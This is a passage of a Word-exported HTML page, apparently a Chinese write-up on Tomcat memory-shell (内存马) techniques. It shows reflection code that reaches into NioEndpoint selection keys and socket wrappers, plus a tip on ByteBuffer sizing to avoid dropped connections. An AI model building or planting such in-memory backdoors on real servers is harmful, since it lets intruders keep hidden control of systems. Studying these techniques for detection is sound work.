style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                            </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">SelectionKey</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[]</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> selectionKeys </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">SelectionKey</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">[])</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getField</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getField</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">obj</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;channel&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">),</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;keys&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    

                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                            </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">for</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">Object</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> tmp </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">:</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> selectionKeys</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                                </span></span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;ControlFlowTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">try</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"><span style="mso-spacerun:yes;">                                                    </span>NioEndpoint</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">NioSocketWrapper</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> nioSocketWrapper </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">=</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">NioEndpoint</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">NioSocketWrapper</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">getField</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">tmp</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;StringTok&#39;;color: #4070A0;font-family: Consolas;">&#34;attachment&#34;</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">);</span></span></span></span></span></span></p><p style=""><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">缺点：由于缓冲区设置成8192，并且我们发送 的HTTP消息也才不到2000字节，这就导致可读取的数据其实就是⼤于0的。⼀旦⼤于0就会抛出异常， 这个异常就导致服务器主动关闭连接</span></span></span></span></span></span></p><p style="margin-top: 9.0pt;margin-bottom: 9.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">解决⽅案就是：有多少数据，ByteBuffer就设置成多⼤</span></span></span></span></span></span></p><p style="mso-style-name: &#39;Source Code&#39;;margin-top: 0.0pt;margin-bottom: 10.0pt;text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;word-break: break-all;font-size: 12.0pt;font-family: Cambria;font-weight: normal;"><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;KeywordTok&#39;;color: #007020;font-weight: bold;font-family: Consolas;">protected</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;DataTypeTok&#39;;color: #902000;font-family: Consolas;">void</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">processKey</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">(</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;BuiltInTok&#39;;color: #008000;font-family: Consolas;">SelectionKey</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> sk</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">,</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> NioEndpoint</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">.</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;FunctionTok&#39;;color: #06287E;font-family: Consolas;">NioSocketWrapper</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> at</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="font-family:Cambria;">                    </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;">tachment</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">)</span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;NormalTok&#39;;font-family: Consolas;"> </span></span></span></span></span></span><span style="mso-bookmark:内存马;"><span style="mso-bookmark:executor内存马-poller内存马;"><span style="mso-bookmark:连接器-connector;"><span style="mso-bookmark:protocolhandler;"><span style="mso-bookmark:nioendpoint;"><span style="mso-style-parent: &#39;Verbatim Char&#39;;mso-style-name: &#39;OperatorTok&#39;;color: #666666;font-family: Consolas;">{</span></span></span></span></span></span><span 